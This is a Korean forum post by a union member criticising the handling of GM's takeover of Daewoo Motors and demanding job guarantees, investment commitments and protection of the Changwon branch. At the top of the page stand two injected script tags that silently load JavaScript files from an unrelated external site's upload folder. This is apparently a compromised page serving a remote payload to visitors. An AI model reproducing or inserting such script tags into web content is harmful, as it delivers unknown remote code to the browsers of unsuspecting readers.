<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script>    <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script>    지엠 자본에 무작정 끌려다니는 인수 방식은 바람직하지 않다.
지엠 입맛대로 다 해버리고, 거기에&nbsp;&nbsp;무작정 OK 사인을 보낸다면
경영 악화시 대우 자동차가&nbsp;&nbsp;너무쉽게 정리될수 있다.
문구하나하나&nbsp;&nbsp;제대로 챙기고, 고용 보장이 몇년까지 가능한지.......
투자는 지속적으로,&nbsp;&nbsp;어떤 방식으로 할것인지.........
8500명 조합원의&nbsp;&nbsp;생존권이 걸린만큼, 위원장 독단적으로 처리해서는 절대로 안된다.
특별 단체 교섭에서 심도있게 다루어야 한다.
지엠 인수 환상에 빠지지말고, 노동조합을 바쳐서&nbsp;&nbsp;지엠 인수를 성공적으로
마무리하겠다는 발상은 절대로 해서는 안된다.
창원 지부 심각하다. 본조 집행부는 GM-인수에만 목메지말고&nbsp;&nbsp;창원 지부를
지켜내야 한다. 노동 조합을 죽여야만, 지엠 인수가 잘되는 것처럼, 비춰져서는 절대로 안된다. 부당 징계자 문제도 조속히 해결되어야 한다.
정원투 처우개선,명예 회복도 제대로 되어야 한다.
미복귀자 문제도 해결되어야 한다.